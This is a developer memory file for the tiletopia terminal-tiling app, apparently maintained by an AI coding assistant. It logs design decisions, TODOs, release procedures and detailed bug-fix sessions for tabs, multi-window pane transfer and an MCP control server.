95 KiB
memory — tiletopia
Durable memory for this project. Read at session start, update before session end. Date format: YYYY-MM-DD.
Decisions & rationale
- Stack: Tauri 2 + React 18 + TypeScript + Vite + pnpm + xterm.js +
portable-pty. Originally Svelte 5; migrated to React in commit774b863(released as 0.2.0). Mirrorsclaude-usage-widget's Windows-targeting toolchain (MSVC + WebView2 + NSIS installer). No new technology bets stacked on top of the new product bet. CLAUDE.md still says Svelte 5 — should be updated when convenient. - Layout model: binary tree of splits, NOT free-form rectangles. Same as i3 / tmux / Zellij. Each internal node is HSplit/VSplit + ratio; each leaf is a terminal. Dragging a gutter mutates one parent ratio; both sibling subtrees reflow; descendants get
resize. Adaptive resize falls out automatically with no constraint solver. Preset layouts ("3 columns", "2×2") are pre-built trees. - PTY backend:
portable-pty(same crate WezTerm uses). Spawnswsl.exe -d <distro> --cd <path>on Windows. Manager is aMutex<HashMap<PaneId, PaneHandle>>in Rust; each pane has a background reader thread that emitspane://{id}/dataevents. - Wire format: base64-encoded byte chunks via Tauri events. xterm.js's
onDataemits strings; we UTF-8 encode then base64. Slower than a typed-array payload but trivially correct. Revisit if throughput matters. - Source on Windows-native disk (
D:\dev\tiletopia\), symlinked into WSL. Same pattern asrimlike(D:\godot\rimlike) andtavernkeep. Forced by pnpm 11.x'sisDriveExFatcrashing on\\wsl.localhost\...UNC paths. - Don't commit
node_modules,src-tauri/target, or.pnpm-store. DO commitCargo.lock(binary project, reproducible builds). - Session awareness without an in-pane agent. Plan: poll
/proc/<pid>/cwdof the shell's child + foreground process every ~2s. Sufficient to detectcdand whetherclaudeis running. - State propagation in the layout tree: hybrid mutable + replace. The root tree is
$state(...)at App level. Direct mutation (e.g.node.ratio = Xduring gutter drag) is reactive via Svelte 5's deep proxy. Structural changes (split/close) go through pure helpers intree.tsthat return a new root, which App reassigns. Drag stays fast (no tree walk); structural changes stay simple.{#key leaf.id}aroundLeafPaneensures swapping a leaf in/out cleanly unmounts XtermPane (which kills the PTY on destroy). - Layout persistence:
%APPDATA%/com.megaproxy.tiletopia/workspace.jsonvia two Tauri commands (save_workspace,load_workspace). Atomic write (tmp + rename) so a crash mid-save can't leave a partial file. Path comes from Tauri'sapp.path().app_config_dir()— no separatedirscrate needed. M2's localStorage path is checked once at boot as a one-time migration source, then cleared. - Auto-save is debounced 500ms. Every tree mutation kicks the
$effect; it resets a timeout and only writes after 500ms of quiet. Cheap enough to never need throttling on UI mutations; matters because each gutter-drag step would otherwise hit disk dozens of times per second. - Pane operations bundled into a
PaneOpsinterface inlib/layout/ops.ts. Pane and SplitNode just passopsthrough; LeafPane consumes it. Replaces M2's per-callback prop drilling (would have been split + close + setDistro + setLabel + distros = 5 separate props). Easier to grow as M4 adds broadcast / palette ops. - Per-pane distro change forces a remount via id swap.
changeDistrointree.tsassigns a new id to the leaf;Pane.svelte's{#key leaf.id}unmounts XtermPane (which kills the old PTY) and mounts a fresh one with the new distro. Same mechanism we already use for split/close. - Split inherits parent's distro AND cwd (not label — label is a per-pane name, not a hierarchy thing). So "split right" while in a project keeps both panes in that project.
- Broadcast input is frontend-routed, not a backend command. Each LeafPane reports its backend
PaneIdto App viaops.registerPaneId. When a broadcasting pane'sXtermPane.onInputfires, App'sbroadcastFromwalks all other leaves withbroadcast === trueand callswriteToPane(theirPaneId, b64). No Rust changes needed; the existing per-pane write path does the work N times. Origin pane writes to its own PTY normally — broadcast is purely about mirroring to others. - Idle detection lives in LeafPane. Each pane tracks
lastDataTime(reset on everyXtermPane.onDataReceived) and asetIntervalthat firesops.notifyafterIDLE_THRESHOLD_MS(5000ms) of silence, once per idle cycle. No backend involvement — purely observes the existing PTY data stream. The "is foreground process claude" filter is deferred (would need a Rust-side foreground-process probe); for now every pane notifies after 5s of quiet. - In-app toasts (top-right stack), 5s auto-dismiss. Lives in
Notifications.svelte; App owns the array + auto-dismiss timer. Not native OS notifications — defertauri-plugin-notificationif/when we want desktop alerts that work when the app is backgrounded. - Ctrl+K palette: modal overlay with text filter on
label | distro | cwd, arrow-key nav, Enter to focus. Activating a pane setsactiveLeafId;LeafPanehas a$derivedactive = ops.activeLeafId === leaf.idand a$effectthat bumps afocusTriggercounter when active flips true;XtermPanewatchesfocusTriggerand callsterm.focus(). Active pane gets a blue 1px border; broadcasting pane gets orange.
Open questions / TODOs
M2 — splits-tree layout component. Two panes side by side, draggable divider, both panes alive. Save/restore layout as JSON.Done 2026-05-22.M3 — workspace persistence + preset layouts + per-pane distro + pane labels.Done 2026-05-22.M4 — orchestration. Broadcast input, idle notifications, Ctrl+K palette.Done 2026-05-22.Auto-save debouncing.500ms timer inApp.svelte$effect.HMR distro picker reset.No longer an issue — per-pane distro selection.- Idle detection: filter by "claude is foreground." Currently every pane notifies after 5s silence, which fires too eagerly when the user is reading a
clauderesponse. Want to detect thatclaude(or any user-specified process) is actually running in the pane's shell before notifying. Needs a Rust-side probe over WSL:wsl.exe -d <distro> ps --ppid <shell_pid> -o comm=. Defer to a future polish pass. - Native OS notifications. Right now toasts only show while the app is focused.
tauri-plugin-notificationwould push to Windows Action Center; useful for "claude finished" when the app is minimized. Worth adding if/when the user actually backgrounds the app while waiting for sessions. - Configurable idle threshold. Hardcoded 5000ms in
LeafPane.svelte. Should move into a settings panel; M5 territory. Logic tests forVitest, 43 cases, runs viatree.ts.pnpm test. Done 2026-05-22.- Component-level tests (vitest + jsdom + @testing-library/svelte) — would have caught the M4 active-border reactivity bug. Useful when the Svelte component surface stops being trivial; defer until/unless something else goes sideways.
Multi-workspace tabs.Done 2026-05-28. Implementation lives under "Tabs + multi-window pane transfer" session log. Envelope shape ended up as{ version: 2, workspaces: [{ id, name, tree }] }(no separatecurrentfield — per-window in React state only).M5 — Ship infrastructure.Custom icon, version bumped to 0.1.0,scripts/release.shfor one-shot tag+upload, README install section. Done 2026-05-22. Next step (user action): runpnpm tauri buildon Windows thenscripts/release.sh v0.1.0from WSL to cut the actual release.- Native Windows shells (cmd / pwsh)?
portable-ptysupports them for free; keep the option open. Decide whether to expose in UI at M3. - Persistent scrollback across app restarts. Would need an out-of-process mux daemon. Big scope creep; explicitly deferred past v1.
- Code markup / syntax highlighting in-app (VSCode-style). User idea 2026-05-28 — "would be kind of neat." Two readings, different feasibility: (a) highlight code in terminal output — not really doable in xterm.js; it renders raw bytes/ANSI and has no concept of "this region is Python." Would need to detect code blocks and re-emit ANSI color, which is fragile and fights TUIs like claude that already color their own output. (b) a dedicated editor/viewer pane type alongside terminal panes — embed Monaco or CodeMirror as a new LeafNode kind, open a file from the pane's cwd, get real VSCode-grade highlighting + read/scroll (maybe edit). This is the tractable version: the layout tree already supports heterogeneous leaves, so it's "add a non-xterm pane kind" rather than reworking the renderer. Scope: pick editor lib (CodeMirror 6 is lighter than Monaco for an embed), file-open IPC over WSL paths, decide read-only vs editable. Defer — nice-to-have, not core to the multi-terminal purpose.
- Keybinding philosophy. Copy tmux, copy WezTerm, or invent? Decide at M3.
- Help (?) overlay. Small
?icon in the titlebar, opens a modal listing all keyboard shortcuts (split / close / promote / broadcast / palette / font size / nav) and quick tips on shell-picker dropdown + SSH host manager + saved-password autotype. Same modal style asPalette/HostManager. Source of truth lives in one place — refactor the README shortcuts table to be generated from it (or vice versa) so they can't drift. - MCP server: Claude controls tiletopia. Expose a Model Context Protocol server (stdio transport, runs inside the Tauri app or a sidecar) so a Claude session — running anywhere, including inside one of tiletopia's own panes — can drive the workspace. Capabilities to expose as MCP tools / resources:
- Inspect:
list_panes()(id, label, shellKind, distro/host, cwd, active flag),read_pane(id, last_lines?)(scrollback tail),read_layout()(the tree JSON). - Drive sessions:
write_pane(id, text)(send keys/commands; same path as broadcast),wait_for_idle(id, timeout)for command-completion synchronization. - Reshape:
spawn_pane(spec, parent_id?, orientation?)(WSL distro / PowerShell / saved SSH host),close_pane(id),apply_preset(name),promote_pane(id),set_label(id, label),swap_panes(id, id). - SSH hosts:
list_hosts(),add_host(...),connect_host(host_id) → pane_id(spawn + return). Read-only access tohasPasswordflag; never expose saved passwords through the MCP surface. - Notifications:
notify(message)for status updates Claude wants to surface. - Authentication: bind to localhost only; consider a per-session token written to the app config dir that the MCP client must present. Treat the MCP socket as trusted only to processes the user explicitly points at it — anyone with access to the user's account could read commands and stream PTY output. Surface this caveat in the help overlay.
- Tauri integration: Rust-side MCP server using a published crate (or hand-rolled JSON-RPC); reuses the existing
PtyManager+hosts.json+ workspace state. Frontend gets read-only events when the MCP causes a layout change so the UI reflects it without races. Big — milestone-scale work; needs a design doc before code. - Status: v1 (read-only, 2026-05-25) + v2 (write surface, 2026-05-26 across PRs 1–4) shipped. All 11 originally-planned write tools are live: set_label, close_pane, swap_panes, promote_pane, apply_preset, spawn_pane, connect_host, write_pane, add_host, delete_host. Open polish items live in the per-session-log "follow-ups" sections.
- Inspect:
Session log
2026-05-28 — v0.4.0 shipped (tabs + multi-window made actually working)
Resume session that took the 2026-05-28 tabs/multi-window feature from "authored, unverified, buggy" to a shipped release. User built the NSIS .exe on Windows and ran scripts/release.sh v0.4.0 (which also attaches tiletopia.mcpb now — the script was updated since the earlier session log note claimed it didn't). Version bumped 0.3.0 → 0.4.0 across package.json + Cargo.toml + tauri.conf.json + Cargo.lock atomically (commit 2a1f1d4). README highlights list got tabs + multi-window bullets (5ef35e3); body sections + shortcut tables were already current, hard-deny count already 14, gen:readme --check clean.
Commits this session: bea6cf2 (capability + StrictMode adopt fix), e6d0040 (accumulation + tab-close + scrollbars + drag ghost), 309b602 (XtermPane listener leak), 2a1f1d4 (version), 5ef35e3 (README). Full technical detail for all fixes is in the "RESOLVED 2026-05-28 (resume session)" block under the original feature's session log below — capability glob, destructive-read×StrictMode session loss, drag ghost (B1), drag-out registration wait, workspace-accumulation aggregator fix + corrupted-file reset, tab-close popover portal, global scrollbars, and the pre-release 3-agent audit (1 medium fixed, 1 high deferred).
Known deferred follow-up (carried): the HIGH-severity transfer-refcount/PTY leak if a detached window closes mid-adopt — low-probability, ship-now decision. Proper fix sketched in the audit notes below (label→paneId adopting registry + close-handler force-kill).
2026-05-28 — Tabs + multi-window pane transfer (3 phases, pushed)
Two big features the user asked for in one session. Three commits on main: 1a035ad (Phase 1 tabs), 8ad5178 (Phase 2 transfer), 6faf7e5 (Phase 3 drag-out). Rust side authored in WSL — cargo build still needs verification on Windows host before this is runnable.
Phase 1 — tabbed workspaces. Tab strip above the existing pane area; each tab owns an independent tile tree.
- Persistence shape: workspace.json migrated from bare
TreeNodeto{ version: 2, workspaces: [{ id, name, tree }] }. Legacy v1 is auto-detected indeserializeWorkspacesand wrapped as[{ name: "Default", tree: <legacy> }]. Per-leafmigrateLegacyLeaves(PowerShell sentinel etc.) still applies per-tree. - PTYs survive tab switches via render-all-panes. Every workspace's panes mount at once; inactive workspace layers use
visibility: hidden; pointer-events: none; z-index: 0while keepingposition: absolute; inset: 0.visibility: hidden(vsdisplay: none) preserves the container's bounding rect so xterm.js's fit() reads valid dims; the existing per-pane resize dedupe in XtermPane (lastSentCols/Rowscheck) absorbs no-op SIGWINCHes. tree/setTreekept as identity-stable derived wrappers that readcurrentWorkspaceIdRef.current. Means the bulk of App.tsx didn't change despite the state model shift. Same trick foractiveLeafId/setActiveLeafId— backed byactiveLeafByWorkspace: Map<WorkspaceId, NodeId | null>so each tab remembers its own focus.- Hidden-tab focus guard (plan-agent catch). XtermPane's mount-time
term.focus()would yank focus into hidden tabs on app boot. Guarded withgetComputedStyle(container).visibility !== "hidden". CSS visibility is inherited, so the computed value on the container reflects the workspace-layer's setting. Focus poller in App.tsx:223 also scoped to the active workspace layer viadata-workspace-idancestor check. - Shortcuts: Ctrl+T new tab, Ctrl+Shift+T close (window.confirm when there are live panes), Ctrl+PageDown/PageUp navigate, Ctrl+1..9 switch. shortcuts.ts is SoT; README + Help auto-regenerate via
pnpm gen:readme. - Tab close confirm is inline popover anchored to the X button (per plan-agent: not modal-queue style — close is user-initiated, not a stream of unsolicited prompts like MCP).
Phase 2 — multi-window pane transfer. Right-click pane toolbar → "Move to new window" pops the pane into a fresh tiletopia window with its PTY intact. New window is a full peer with its own tab strip.
- The load-bearing facts (verified by reading pty.rs / lib.rs / ipc.ts):
PaneId = u64, never reused, sequence-assigned. Stable across windows.pane://{id}/dataevents go throughAppHandle::emit— Tauri 2 event system is process-wide, so any window thatlisten()s on the same id gets the same stream.PtyManagerlives inArc<>managed state; one process, one manager, every window shares it.
- Transfer-suppression: Rust-side refcount, NOT a JS module Set.
PtyManager.transferring: Mutex<HashMap<PaneId, u32>>.kill_panebecomes a no-op while refcount > 0. Source window's unmount callskill_pane→ silently dropped; target window'sclaim_panedecrements after subscribing. The JS-side "in-flight set" the plan-agent vetoed would have raced cross-window React event loops. - Scrollback replay shipped in v1 (plan-agent's other ship-in-v1 call).
get_pane_ring(id) -> base64returns the existing PaneRing snapshot (256 KiB ≈ 3000 lines @ 80 cols). New window's XtermPane writes the ring to xterm.js BEFORE attaching the liveonPaneDatalistener. Without this, a transferred Claude session looks blank until the next prompt repaint. - Cross-window save coordination via backend aggregator (plan-agent's third correction). Each window debouncing its own write to workspace.json would race. New
window_state.rs:WindowsState { per_window: Mutex<HashMap<String, Vec<Value>>>, save_task: Mutex<Option<JoinHandle>> }. Frontends callpush_window_workspaces(label, json); backend stores per-window, debounces save with a 500ms tokio sleep, atomic-writes the merged{ version: 2, workspaces: [<all from all windows>] }. Workspaces stored asserde_json::Value— backend stays agnostic of tree shape across future LeafNode changes. - Non-main window close drops its entry via
Tauri::WindowEvent::CloseRequestedin lib.rson_window_event. Matches Chrome-style "closing a detached window discards its tabs". Main window's entry persists across the app lifetime so on next launch all of main's tabs reopen. - MCP scoped to main window only. Both the mirror push and
onMcpRequestsubscription gated onIS_MAIN_WINDOW = getCurrentWebviewWindow().label === "main".paneIdByLeafRefis per-window, so a request targeting a leaf in another window would fail to resolve anyway. Documented as "MCP sees main's current tab" — future extension could exposelist_windows()/switch_window()MCP tools.
Phase 3 — drag-out gesture. Extended the existing pointer-drag for header swap: release more than 60px past any viewport edge → drag-out via the same moveToNewWindow path. The 60px margin avoids triggering on accidental release over the OS titlebar (~30px). No backend changes — just a second entry point into Phase 2's mechanism.
Architecture artefacts worth remembering:
getCurrentWebviewWindow().labelis sync-available at module-load time (not async!) — captured into module-levelCURRENT_WINDOW_LABELandIS_MAIN_WINDOWconstants. Cleaner thanuseEffect-awaiting it.transferredPaneIdsRef: Map<NodeId, PaneId>is a one-shot side channel populated BEFOREsetWorkspacesduring mount, consumed inregisterPaneId. LeafPane reads it viaorch.getInitialPaneIdFor(leaf.id)and passesexistingPaneIdto XtermPane to skip spawn. Cleaner than threading the id through LeafNode (which is persisted state).WindowEvent::CloseRequestedclosure capturesArc<WindowsState>andArc<PendingInits>by move.windows_state_for_event.forget(label)is the cleanup path;pending_inits_for_event.by_label.lock().remove(&label)removes any unconsumed init payload (the consumed-then-window-died case).
Phase 2 verification needed (user, on Windows host):
cd D:\dev\tiletopia\src-tauri && cargo check— the Rust changes have to compile. Note:Cargo.tomllives insrc-tauri/, NOT the project root (Tauri layout). I got this wrong in the original verification steps; user had to point it out. Added a preflight-checks rule to global~/claude/CLAUDE.md. Watch in the check output for: tauri 2WebviewWindowBuilder::newsignature,on_window_eventhandler closure types, myArc<Self>method receiver style on WindowsState.
Uncommitted local fix (as of 2026-05-28 wrap-up):
src-tauri/src/lib.rs has an added use tauri::Manager; import — needed because Window::app_handle() is a trait method (Manager trait) used in the new on_window_event handler. Same pattern as the Emitter trait stumble in v0.3.0. Cargo check went clean after this. Not committed yet — user wanted to smoke-test the feature first, then found the bug list below. Commit this fix at the same time as the bug-fix commit.
Detached-window bug list (deferred — user will resume):
Smoke test on Windows revealed bugs specific to detached (non-main) windows. Main window is unaffected.
- B1 — Drag-out has no ghost image during drag (cosmetic, user OK with deferring).
- B2 — Detached window: transferred pane is blank, "idle" within 5s. No input, no output.
- B3 — Detached window: shell-picker swap (Ubuntu → PowerShell → Ubuntu) doesn't spawn a working terminal. Fresh
spawn_panecall from the detached window — toolbar updates but no PTY output. - B4 — Detached window: new tab (Ctrl+T or + button) creates the tab but no terminal. Same blank/idle symptom.
- B5 — Right-click "Move to new window" produces the same broken detached window as drag-out. Confirms the bug is detached-window-scoped, not gesture-scoped.
- B6 (control) — Main window: new tab, new pane, normal ops all work.
Strongest single hypothesis for B2–B5: Tauri 2's capability system gates invoke and listen per window-label. Default capability config in src-tauri/capabilities/default.json (or similar) usually scopes to "windows": ["main"]. Newly-built pane-window-* labels match nothing → all IPC and events silently fail. One config fix (add wildcard window pattern, or programmatically attach a capability to each new window before .build()) would explain ALL of B2-B5 in one go.
Where to look first when resuming:
src-tauri/capabilities/*.json— read the existing capability config to confirm scoping.- Try
"windows": ["main", "pane-window-*"](Tauri 2 supports glob patterns in capability window targets). - If that doesn't work:
AppHandle::add_capability(...)on the new window before.build()incommands.rs::create_pane_window. - Verify by re-testing B4 first (simplest: fresh new tab in a detached window — needs only
invoke("spawn_pane")andlisten("pane://...")to work).
RESOLVED 2026-05-28 (resume session) — two root causes, both fixed:
- B2–B5 (blank/dead detached windows) = the capability hypothesis, confirmed.
src-tauri/capabilities/default.jsonhad"windows": ["main"]; detached labels arepane-window-<micros>(commands.rs:122) → matched nothing → everyinvoke/listensilently denied. Fix:"windows": ["main", "pane-window-*"]. Tauri 2 glob pattern works; one line cleared all four. (App-defined commands aren't individually permission-gated — they're available to any window the capability is applied to, i.e. listed inwindows.) - Session-loss-on-adopt (surfaced after B2–B5 cleared) = destructive read × StrictMode. Once IPC worked, drag-out still spawned a FRESH pty (new id, tab named "Default", status
alivenotadopted) instead of adopting. Cause:take_pending_window_initis a destructive backend read (by_label.remove); React StrictMode runs the mount effect twice in dev — pass 1 consumed the payload then bailed on thecancelledflag, pass 2 gotnull→ fell back tosingletonEnvelope(fresh "Default" + fresh spawn). Thecancelled-flag pattern guards against using stale async results but cannot un-consume a destructive backend call. Fix: module-level memoizedconsumePendingWindowInit()in App.tsx so the take fires exactly once per window and both StrictMode passes share the payload. Dev-only symptom (prod StrictMode doesn't double-invoke effects) but fixed for robustness. Lesson: any destructive/once-only backend read called from a mount effect must be memoized at module scope, not just guarded bycancelled. - Verified: user confirmed adopt works (scrollback intact, same pane id, live input).
tsc -bclean. - Committed (
bea6cf2) together with the carried-overuse tauri::Manager;lib.rs import.
Follow-on fixes same session (commit after bea6cf2):
- B1 drag ghost (done). Cursor-following chip via
createPortalin LeafPane,pointer-events:noneso it doesn't disturb theelementFromPointdrop-target hit-test. Turns orange "↗ New window" past the 60px edge margin. A webview can't paint outside its own OS window, so the chip is clamped to the viewport edge and flips to the cursor's inner side near right/bottom rather than vanishing — that's the best achievable; a ghost floating over the desktop is impossible. HoistedPANE_DRAG_OUT_MARGIN+isFarOutsideViewport()to module scope so move-handler (preview) and up-handler (release) can't drift. - Drag-out "PTY not ready" (mitigated).
moveToNewWindownowawait waitForPaneRegistration(leafId, 5000)instead of failing instantly when the id isn't registered yet — covers the race where a just-spawned/just-adopted pane is dragged before its async spawn round-trip registers. Resolves instantly if already registered. - Tab accumulation (root-caused + fixed). The cross-window save aggregator (
window_state.rs::build_envelope) concatenated EVERY window's workspaces into the saved file; on launch main loaded the whole blob and adopted it as its own tabs, then re-saved under "main" → unbounded growth (hit 14 tabs incl.Pane 28/Pane 38drag-out artifacts + piles ofDefaultfrom pre-fix detached boots). Fix:build_envelopepersists onlyMAIN_WINDOW_LABEL's workspaces — detached windows are ephemeral by design (discarded on close), so they're now structurally unable to pollute the file. Reset the corruptedworkspace.json(backed up toworkspace.json.corrupt-backupin app config dir, then deleted; main reboots a clean single Default). Detached windows stillpush_window_workspaces(harmless; backend just ignores non-main for persistence). - Can't close tabs (fixed). Tab strip is
overflow-x:auto, which per spec coercesoverflow-yto auto too → the in-strip absolutely-positioned close-confirm popover got clipped once enough tabs forced horizontal scroll. Fix:createPortalthe confirm to<body>,position:fixed, fixedwidth:300px(matchesCONFIRM_POPOVER_WIDTHconst in TabStrip.tsx), right-aligned to the × button then clamped into the viewport so a left-side tab doesn't run off the left edge. - Native scrollbars (fixed).
::-webkit-scrollbartheming was scoped to.xterm-viewportonly; made it global (*::-webkit-scrollbar+* { scrollbar-width/color }) so the tab strip / panels / menus match the dark theme. - Capability fix recap:
default.json"windows": ["main", "pane-window-*"]— the load-bearing fix for the whole detached-window feature (B2–B5). Confirmed: app-defined Tauri commands aren't individually permission-gated; they're available to any window the capability is applied to (listed inwindows).
Pre-release audit (2026-05-28, 3-agent fan-out) — findings + dispositions:
- (FIXED, medium) XtermPane IPC listener leak on unmount-during-await. After
unlistenData = await onPaneData(...)/unlistenExit = await onPaneExit(...)there was nodestroyedre-check, so if the pane unmounted during the await (StrictMode, fast moveToNewWindow/closeTab) the sync cleanup had already captured a null unlisten and thepane://{id}/data/exit subscription leaked. Addedif (destroyed) { unlistenData?.(); unlistenExit?.(); return; }after each assignment in both adopt and spawn paths. - (DEFERRED, high — known low-risk) Transferred-PTY/refcount leak if a detached window closes mid-adopt.
mark_pane_transferringbumps a refcount that suppresseskill; onlyclaim_pane(from the target XtermPane mount) drops it. TheCloseRequestedhandler (lib.rs:74) forgets workspaces + pending-init but never releases the refcount or kills the pane → if the window closes before adopt'sclaim_pane, that PTY + reader thread leak for the app lifetime. In practice very low-probability: adopt of a transferred pane is near-instant (paneId known synchronously, no spawn wait), soclaimruns within ms of mount — by the time a user sees and closes the window, it's already claimed. User chose ship-now. Proper fix when revisited: keep alabel→paneId"adopting" registry (set whentake_pending_window_initconsumes the payload, cleared byclaim_pane), and have the close handler force-kill (drop refcount + kill) any still-unclaimed paneId for the closing label. The unconsumed-pending-init subset can be handled more cheaply (close handler already has the PendingInit.pane_id when the entry is still present). - (NOT FIXING, low) waitForPaneRegistration doesn't settle on early unmount —
registerPaneId(leafId, null)doesn't reject a pending waiter, so moveToNewWindow/MCP-spawn stalls until the timeout instead of failing fast. Functionally safe (timeout fires). - tabs/LeafPane/TabStrip reviewer: no findings.
pnpm tauri dev— smoke test:- Existing workspace loads as one tab named "Default" ✓ migrate
- Ctrl+T spawns new tab with default-shell pane
- Switch tabs while a
sleep 60is running in another tab — countdown continues - Right-click any pane → "Move to new window" → new window appears with the pane, PTY content visible (ring replay)
- Resize new window →
tput colsin the moved pane shows new dims - Close new window → reopen the app → those tabs should NOT come back (the close-discards-tabs Chrome behavior)
- With MCP running,
list_panesfrom Claude only sees main's current tab
Known follow-ups specific to this session (none ship-blocking; all v0.4.0+ territory):
- Per-tab MCP visibility. Today Claude only sees main's current tab; switching tabs in main changes Claude's view mid-conversation. Could expose
list_workspaces()+switch_workspace(id)MCP tools. Defer until requested. - Window position persistence across restart. User chose "tabs persist, not windows" in the design Q&A so this is by design, but if a power user ever wants restored window geometry, the
WindowsStatemap already has the structure to track it; just add inner_size/outer_position to the per-window entry. - Drag-out across monitors with mismatched DPI. Tauri 2's
outerPosition()is physical px whileclientX/Yis CSS px. My implementation only uses clientX/Y (no async query at drag start), so multi-monitor drag works as long as the user releases far enough from the source window's edge. New window appears at the OS default position; user manually drags it to the target monitor. Acceptable v1. - Drag a pane INTO an existing other window. Only NEW-window drag in v1. Adding "drag to existing window" needs cross-window pointer-event coordination (Tauri 2 doesn't expose this). Defer.
- CLAUDE.md still says Svelte 5 (called out in 5+ session logs now). Bump it next time someone touches the file.
2026-05-26 — v0.3.0 shipped to Forgejo releases
Cut after a marathon session that took MCP from read-only v1 → full write surface + policy engine + audit + safeguards + .mcpb bundle. Tag v0.3.0, both tiletopia_0.3.0_x64-setup.exe and tiletopia.mcpb attached.
Release-time hiccups (all fixed in subsequent commits — read these before the next release):
pnpm tauri buildfailed type-check on aa.spec!.hostIdnon-null assertion that drops thekind === "ssh"narrowing inside ahosts.findclosure.pnpm checkrantsc --noEmitwhich had been silently missing the bug;tsc -b(whatpnpm builduses) caught it. Fixed the line + switched the check script totsc -b(both project-reference tsconfigs already havenoEmit: true, so no emission). Commitse1ceaab,7e285b2.- After the Windows build I ran
rm -rf src-tauri/targetfrom WSL to clear tsc cache — wiped the cargo target dir including the freshly-built installer. /mnt/d/ is the real Windows filesystem. Lesson:src-tauri/target/is cargo's output dir, NOT just tsc cache; do not touch without rebuild plan. The user rebuilt; cost a singlepnpm tauri buildcycle. pnpm run build:mcpbfromrelease.shhung indefinitely when run from WSL — pnpm auto-runspnpm installfirst, which walksnode_modulesacross the /mnt/d/ filesystem boundary and stalls for minutes. The bundle script is pure Node + fs, no deps to install. Switched release.sh to callnode scripts/build-mcpb.mjsdirectly. Commit1db8b26.Cargo.lockneeded committing separately after the version bump (cargo updated it duringpnpm tauri build). Worth doing the version bump +cargo checktogether next time so the lock-file change is atomic with the version commit.
For the next release:
- Bump version in
package.json+src-tauri/Cargo.toml+src-tauri/tauri.conf.json - Run
cargo check(or any cargo command) to updateCargo.lock - Commit all four files + push
pnpm tauri buildon Windows./scripts/release.sh vX.Y.Zfrom WSL- Edit the auto-generated release note on Forgejo with a proper changelog
2026-05-26 — Clear cargo warnings: drop v2.1 classifier scaffold, annotate rmcp tool_router
Four pre-existing dead-code warnings out of every cargo build. Three were the v2.1 classifier scaffold sitting unused in mcp_policy.rs (ClassifierHint enum, PolicyClassifier trait, NoopClassifier struct + impl). Deleted — the scaffold being unused for weeks was a stronger "no plan" signal than its presence was a "TODO" signal. If we actually want classifier upgrade-on-Ask later (v0.4.0 candidate), trivial to re-add; the design questions (Anthropic vs Ollama, API key UX, monthly cost cap, privacy disclosure) need a focused session.
Fourth warning was rmcp's #[tool_router] macro generating internal references to a tool_router: ToolRouter<Self> field on TileService that rustc's dead-code pass can't see through. Added #[allow(dead_code)] to the field with a comment explaining why.
cargo build is now clean (modulo any new bugs).
Open follow-up: v0.4.0 classifier (v2.1-classifier). Design notes for that session — pick Haiku 4.5 via Anthropic API as default; API key in Windows Credential Manager (matches SSH password storage, doesn't sync); 60s cache by (tool, args_repr); classifier can only upgrade Ask → Allow, never downgrade.
2026-05-26 — Backed out idle "claude foreground" filter (kept legacy 5s notify)
Shipped earlier today as per-distro, pivoted to per-pane via TILETOPIA_PANE_ID env marker, then a probe-script bug surfaced (positional args dropped by wsl.exe -- bash -c "..." _ <id>). Fixed the arg-passing by inlining values, but on real-app test the pane still showed idle while claude was running — and at that point the user (rightly) called credit waste and asked to back the whole feature out.
Reverted commits (in one combined revert):
9931a92— inline pane_id / watch list into script (drop positional args)6772b8d— pivot per-distro → per-pane via TILETOPIA_PANE_ID env markerf51033a— original per-distro idle filter
Now back to "every pane goes idle after 5s of silence" — the behaviour that worked before today's fan-out attempt. The [[user-watch-list]] marker in the open-questions section is removed; the original idle-filter TODO is restored.
Lessons for if/when we attempt this again:
- The per-distro design fundamentally doesn't fit tiletopia (CLAUDE.md: "manage multiple claude sessions across projects in parallel"). Don't ship per-distro again.
- Per-pane via env-var marker is the right shape, BUT the probe still didn't work end-to-end in the real app even after the inline-args fix. The
pgrepexit +/proc/<pid>/environreads worked in isolation (verified manually from PowerShell) — something about how tiletopia'swsl.exespawn differs from a manual invocation. Could be: stdin handling, working directory, environment context. Worth a from-scratch design rather than another fix-on-fix iteration. - If we retry, prove the probe end-to-end against the running app FIRST (e.g. add a temporary "Test probe" button in the MCP panel that calls the Tauri command and shows the result) before wiring it into the idle effect. Validates the whole IPC path without the timing complications of the idle tick.
Restored the original idle-filter open question in the TODO section.
2026-05-26 — README shortcut table now generated from shortcuts.ts
The keyboard-shortcut table in README and the in-app help overlay used to be hand-mirrored copies maintained by "keep in sync" comments. They drifted (most recently the navigation/font-size entries diverged). Now src/lib/shortcuts.ts is the single source of truth and README's section is generated from it.
Marker shape: plain HTML comments — <!-- SHORTCUTS:START --> and <!-- SHORTCUTS:END -->. Markdown viewers render them as nothing (zero visual noise); the generator finds them by literal string match. They live under the new ### Shortcuts and tips heading in Using it, with explanatory prose + a footer pointer below for readers who reach for the file.
Script: scripts/gen-readme-shortcuts.mjs. Sibling to pr4-verify.mjs / release.sh / make-icon.py. Plain Node + fs only — no tsx/esbuild dep. Trick: shortcuts.ts is pure data (no React, no value imports), so the script reads it as text, strips export interface { ... } blocks with a brace-walker, drops the : SomeType[] annotations on the export const declarations, writes the result to a temp .mjs file in os.tmpdir(), and dynamic-imports it. Cleaner than a regex parser of the array literal because any future shape change in shortcuts.ts (adding a new field, reshuffling sections) Just Works.
Render style: mirrors the existing README table — | Key | Action | two-column, keys backticked. The TS data is grouped by section, so each section gets a **Title** subheading + its own table. TIPS render as a **Title** — body bulleted list. Pipes in cell text are escaped to \|; newlines collapse to spaces.
Pnpm script: pnpm gen:readme. Also supports --check mode (node scripts/gen-readme-shortcuts.mjs --check) which exits 1 if the README would change — wire it into CI later if drift starts mattering again.
To add or change a shortcut/tip: edit src/lib/shortcuts.ts, run pnpm gen:readme. The help overlay updates automatically (it already imports from there); the README marker block updates from the same source. Don't hand-edit anything between the marker comments — your changes will be wiped on the next regen.
Verified: ran twice, second run reports "already up to date" with empty git diff. pnpm check clean (tsc --noEmit, exit 0).
2026-05-26 — .mcpb Claude Desktop bundle (zero-config token handling)
Long-standing follow-up shipped. Build script + tiny Node wrapper produce dist-mcpb/tiletopia.mcpb — a one-click Claude Desktop install replacing the hand-paste of .mcp.json.
